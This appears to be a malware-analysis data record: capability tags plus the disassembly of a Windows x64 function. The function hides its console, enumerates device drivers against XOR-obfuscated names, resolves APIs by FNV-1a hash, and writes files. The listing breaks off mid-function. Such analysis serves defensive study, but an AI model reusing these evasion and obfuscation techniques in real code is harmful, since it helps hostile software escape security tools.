Function at 0x140029b60
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Execute command
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4ff0]
mov eax, 0x50f0
call fcn.14007d660
sub rsp, rax
movaps xmmword [rsp + 0x50e0], xmm6
mov rax, qword [0x1400a01c0]
xor rax, rsp
mov qword [rbp + 0x4fd0], rax
lea rcx, str.color_09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14008395c]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
xor esi, esi
cmp qword [0x1400a0a80], rsi
je 0x140029c75
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [rsi - 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xff3bffff
mov r8d, eax
lea edx, [rsi - 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rbp + 0xe0], 3
mov dword [rbp + 0xe4], 1
mov dword [rbp + 0xe8], 1
mov dword [rbp + 0xec], 1
mov dword [rbp + 0x30], reloc.WS2_32.dll_send
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [0x1400a0a80]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140024ad0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [rbp + 0x78]
mov edx, 0x4000
lea rcx, [rbp + 0x7d0]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
movabs r15, 0x9366bb1cbd2ca11c
movabs r12, 0x35bf5d1c3a58a11c
test eax, eax
je 0x14002a067
mov eax, dword [rbp + 0x78]
cmp eax, 0x4000
jae 0x14002a067
shr rax, 3
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14002a067
mov r12, rsi
mov rbx, 0xffffffffffffffff
movabs rdi, 0xe015de7fd25ed177
movabs r14, 0x35bf2f79513bc074
mov r8d, 0x800
lea rdx, [rbp + 0x47d0]
mov rcx, qword [rbp + r12*8 + 0x7d0]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x14002a050
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rsi
lea rax, [rbp + 0x47d0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140029d44
lea rdx, [rbp + 0x47d0]
lea rcx, [rbp + 0x80]
call fcn.140017ff0
nop
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r14
mov qword [rbp + 0x7c0], r15
movabs rax, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x7c8], rax
movdqa xmm0, xmmword [rbp + 0x7c0]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
mov rax, rbx
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140029da0
lea rcx, [rbp + 0x80]
mov r13, qword [rbp + 0x98]
cmp r13, 0xf
seta r14b
mov rdi, qword [rbp + 0x80]
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov r15, qword [rbp + 0x90]
mov rdx, r15
call fcn.14000b340
cmp rax, 0xffffffffffffffff
jne 0x14002ada7
movabs rax, 0xe604de58cd58d554
mov qword [rbp - 0x70], rax
movabs rax, 0x35bf5d1c3a58a17b
mov qword [rbp - 0x68], rax
movabs rax, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x790], rax
movabs rax, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x798], rax
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x790]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140029e46
lea rcx, [rbp + 0x80]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rdx, r15
call fcn.14000b340
cmp rax, 0xffffffffffffffff
jne 0x14002a9b9
movabs rax, 0x9366bb1cbd4ad172
mov qword [rbp - 0x60], rax
movabs rax, 0x35bf5d1c3a58a11c
mov qword [rbp - 0x58], rax
movabs rcx, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x7a0], rcx
mov qword [rbp + 0x7a8], rax
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140029ec7
lea rcx, [rbp + 0x80]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
xor r8d, r8d
mov rdx, r15
call fcn.14000b340
cmp rax, 0xffffffffffffffff
jne 0x14002a66e
movabs rax, 0xf70ff372dc58c848
mov qword [rbp - 0x50], rax
movabs rax, 0x35bf5d1c3a58a179
mov qword [rbp - 0x48], rax
movabs rax, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x7b0], rax
movabs rax, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x7b8], rax
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x7b0]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140029f52
lea rcx, [rbp + 0x80]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
xor r8d, r8d
mov rdx, r15
call fcn.14000b340
cmp rax, 0xffffffffffffffff
jne 0x14002a352
movabs rax, 0xcc22f46ccf4dc94f
mov qword [rbp + 0xe0], rax
movabs rax, 0x35bf5d1c3a2ed358
mov qword [rbp + 0xe8], rax
movabs rax, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x30], rax
movabs rax, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x38], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140029fe3
lea rcx, [rbp + 0x80]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov rdx, r15
call fcn.14000b340
cmp rax, 0xffffffffffffffff
jne 0x14002a0ac
test r14b, r14b
je 0x14002a032
mov r8, r13
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.140028450
movabs r15, 0x9366bb1cbd2ca11c
movabs r14, 0x35bf2f79513bc074
movabs rdi, 0xe015de7fd25ed177
inc r12
cmp r12, qword [rbp + 0x70]
jl 0x140029d00
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140028430]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x70], rax
mov rdx, qword [0x1400a0a70]
cmp rdx, qword [0x1400a0a78]
je 0x14002b19e
mov qword [rdx], rax
add qword [0x1400a0a70], 8
jmp 0x14002b1ae
movabs rax, 0xc046de6ad241c44e
mov qword [rbp + 0x30], rax
movabs rax, 0x159319534a2ac074
mov qword [rbp + 0x38], rax
movabs rax, 0xb9710a6e5242c47e
mov qword [rbp + 0x40], rax
movabs rax, 0x39b038747cbed47d
mov qword [rbp + 0x48], rax
movabs rax, 0xce666678f733cd3c
mov qword [rbp + 0x50], rax
movabs rax, 0xf109d73c77e6e03c
mov qword [rbp + 0x58], rax
movabs rax, 0xf140ae3cd766c068
mov qword [rbp + 0x60], rax
movabs rax, 0x117c19323750816e
mov qword [rbp + 0x68], rax
movabs r14, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x6c0], r14
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x6c8], r12
movabs rax, 0xd5516f1c3d24a11c
mov qword [rbp + 0x6d0], rax
movabs rax, 0x5ede511c1fd0a11c
mov qword [rbp + 0x6d8], rax
movabs rax, 0xe014031c965ca11c
mov qword [rbp + 0x6e0], rax
movabs rax, 0x826ca51c1388a11c
mov qword [rbp + 0x6e8], rax
movabs rax, 0x842fd71ca314a11c
mov qword [rbp + 0x6f0], rax
movabs rax, 0x117c191c7400a11c
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0x6c0]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x6d0]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x6e0]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x6f0]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x710]
call fcn.140009aa0
mov rbx, rax
mov qword [rbp + 0x70], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xe71ecf32ce4bce70
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], r12
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x120]
call fcn.140019000
nop
cmp qword [rbp + 0x1a8], 0
je 0x14002a2d4
movabs rax, 0xb314d46ecf498147
mov qword [rbp - 0x30], rax
movabs rax, 0x35bf5d1c1a758141
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x120]
call fcn.140017d90
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002a2b7
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x140018ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.1400196f0
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, rbx
call fcn.140009a40
nop
lea rcx, [rbp + 0x80]
call fcn.140009a40
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a067
movabs rax, 0xc746de68d840c458
mov qword [rbp + 0x710], rax
movabs rax, 0x50db34545439d575
mov qword [rbp + 0x718], rax
movabs rax, 0xb023007a58468130
mov qword [rbp + 0x720], rax
movabs rax, 0x37b632726ab1cd3c
mov qword [rbp + 0x728], rax
movabs rax, 0x85706273fa7cc672
mov qword [rbp + 0x730], rax
movabs rax, 0xf04cc17252a88f6e
mov qword [rbp + 0x738], rax
movabs rax, 0xfd0fa36ec260d279
mov qword [rbp + 0x740], rax
movabs rax, 0x11525a4c5472d473
mov qword [rbp + 0x748], rax
movabs r14, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x6c0], r14
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x6c8], r12
movabs rax, 0xd5516f1c3d24a11c
mov qword [rbp + 0x6d0], rax
movabs rax, 0x5ede511c1fd0a11c
mov qword [rbp + 0x6d8], rax
movabs rax, 0xe014031c965ca11c
mov qword [rbp + 0x6e0], rax
movabs rax, 0x826ca51c1388a11c
mov qword [rbp + 0x6e8], rax
movabs rax, 0x842fd71ca314a11c
mov qword [rbp + 0x6f0], rax
movabs rax, 0x117c191c7400a11c
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0x710]
xorps xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x710], xmm0
movdqa xmm1, xmmword [rbp + 0x720]
xorps xmm1, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x720], xmm1
movdqa xmm0, xmmword [rbp + 0x730]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x730], xmm0
movdqa xmm1, xmmword [rbp + 0x740]
xorps xmm1, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x740], xmm1
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x750]
call fcn.140009aa0
mov rbx, rax
mov qword [rbp + 0x70], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xe71ecf32ce4bce70
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], r12
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x230]
call fcn.140019000
nop
cmp qword [rbp + 0x2b8], 0
je 0x14002a5ad
movabs rax, 0xb314d46ecf498147
mov qword [rbp - 0x10], rax
movabs rax, 0x35bf5d1c1a758141
mov qword [rbp - 8], rax
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x230]
call fcn.140017d90
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002a590
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x140018ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x230], rax
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call fcn.1400196f0
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14002a63c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002a637
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002a667
mov rcx, r8
call fcn.14007d63c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rcx, [rbp + 0x80]
call fcn.140009a40
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a067
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0xc446de68d840c458
mov qword [rbp + 0x750], rax
movabs rax, 0x5ecd3c74493dd375
mov qword [rbp + 0x758], rax
movabs rax, 0xb023007a58468130
mov qword [rbp + 0x760], rax
movabs rax, 0x37b632726ab1cd3c
mov qword [rbp + 0x768], rax
movabs rax, 0x85706273fa7cc672
mov qword [rbp + 0x770], rax
movabs rax, 0xf04cc17252a88f6e
mov qword [rbp + 0x778], rax
movabs rax, 0xfd0fa36ec260d279
mov qword [rbp + 0x780], rax
movabs rax, 0x11525a4c5472d473
mov qword [rbp + 0x788], rax
movabs r14, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x6c0], r14
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x6c8], r12
movabs rax, 0xd5516f1c3d24a11c
mov qword [rbp + 0x6d0], rax
movabs rax, 0x5ede511c1fd0a11c
mov qword [rbp + 0x6d8], rax
movabs rax, 0xe014031c965ca11c
mov qword [rbp + 0x6e0], rax
movabs rax, 0x826ca51c1388a11c
mov qword [rbp + 0x6e8], rax
movabs rax, 0x842fd71ca314a11c
mov qword [rbp + 0x6f0], rax
movabs rax, 0x117c191c7400a11c
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0x750]
xorps xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x750], xmm0
movdqa xmm1, xmmword [rbp + 0x760]
xorps xmm1, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x760], xmm1
movdqa xmm0, xmmword [rbp + 0x770]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x770], xmm0
movdqa xmm1, xmmword [rbp + 0x780]
xorps xmm1, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x780], xmm1
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x670]
call fcn.140009aa0
mov rbx, rax
mov qword [rbp + 0x70], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x340]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xe71ecf32ce4bce70
mov qword [rbp], rcx
mov qword [rbp + 8], r12
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp]
lea rcx, [rbp + 0x340]
call fcn.140019000
nop
cmp qword [rbp + 0x3c8], 0
je 0x14002a8c9
movabs rax, 0xb314d46ecf498147
mov qword [rbp + 0x10], rax
movabs rax, 0x35bf5d1c1a758141
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x340]
call fcn.140017d90
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002a8ac
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x140018ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x340], rax
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x33c], edx
lea rcx, [rbp + 0x348]
call fcn.1400196f0
lea rcx, [rbp + 0x350]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14002a958
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002a953
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002a9b2
mov rcx, r8
call fcn.14007d63c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14002b18e
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b189
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b189
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0xdb46de68d840c458
mov qword [rbp + 0x6c0], rax
movabs rax, 0x40dd38581a08f548
mov qword [rbp + 0x6c8], rax
movabs rax, 0xb0334f304f41c67b
mov qword [rbp + 0x6d0], rax
movabs rax, 0x2bbf3d3c7aa2ce7a
mov qword [rbp + 0x6d8], rax
movabs rax, 0x8c346472ff34c272
mov qword [rbp + 0x6e0], rax
movabs rax, 0xc34c8b6e76ecc073
mov qword [rbp + 0x6e8], rax
movabs rax, 0xe55ba479d134c572
mov qword [rbp + 0x6f0], rax
movabs rax, 0x310e6c730d20d56e
mov qword [rbp + 0x6f8], rax
movabs rax, 0xa7be2b1c96e2e24c
mov qword [rbp + 0x700], rax
movabs rcx, 0x314b0d1c7978a11c
mov qword [rbp + 0x708], rcx
movabs r14, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x670], r14
movabs r12, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x678], r12
movabs rax, 0xd5516f1c3d24a11c
mov qword [rbp + 0x680], rax
movabs rax, 0x5ede511c1fd0a11c
mov qword [rbp + 0x688], rax
movabs rax, 0xe014031c965ca11c
mov qword [rbp + 0x690], rax
movabs rax, 0x826ca51c1388a11c
mov qword [rbp + 0x698], rax
movabs rax, 0x842fd71ca314a11c
mov qword [rbp + 0x6a0], rax
movabs rax, 0x117c191c7400a11c
mov qword [rbp + 0x6a8], rax
movabs rax, 0xa7be2b1c96cca11c
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x6b8], rcx
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x6c0], xmm0
movdqa xmm1, xmmword [rbp + 0x680]
xorps xmm1, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm1, xmmword [rbp + 0x6a0]
xorps xmm1, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x6f0], xmm1
movdqa xmm0, xmmword [rbp + 0x6b0]
xorps xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x700], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], rsi
lea rax, [rbp + 0x6c0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002ab95
mov r8, rbx
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xc0]
call fcn.140017ff0
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x70], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x450]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xe71ecf32ce4bce70
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x450]
call fcn.140019000
nop
cmp qword [rbp + 0x4d8], 0
je 0x14002aca6
movabs rax, 0xb314d46ecf498147
mov qword [rsp + 0x70], rax
movabs rax, 0x35bf5d1c1a758141
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r12
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x450]
call fcn.140017d90
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
mov rcx, rax
call fcn.1400182b0
lea rdx, [0x140018ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x450], rax
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x44c], edx
lea rcx, [rbp + 0x458]
call fcn.1400196f0
lea rcx, [rbp + 0x460]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14002ad43
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ad3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002ad3e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d63c
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14002b18e
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b189
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b189
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movabs rax, 0xc346de68d840c458
mov qword [rbp + 0x6c0], rax
movabs rax, 0x7d9f2e6f5f3bce6e
mov qword [rbp + 0x6c8], rax
movabs rax, 0xb771436e584fc27d
mov qword [rbp + 0x6d0], rax
movabs rax, 0x3fb271796dbfc779
mov qword [rbp + 0x6d8], rax
movabs rax, 0xc0736d75fe3fcf69
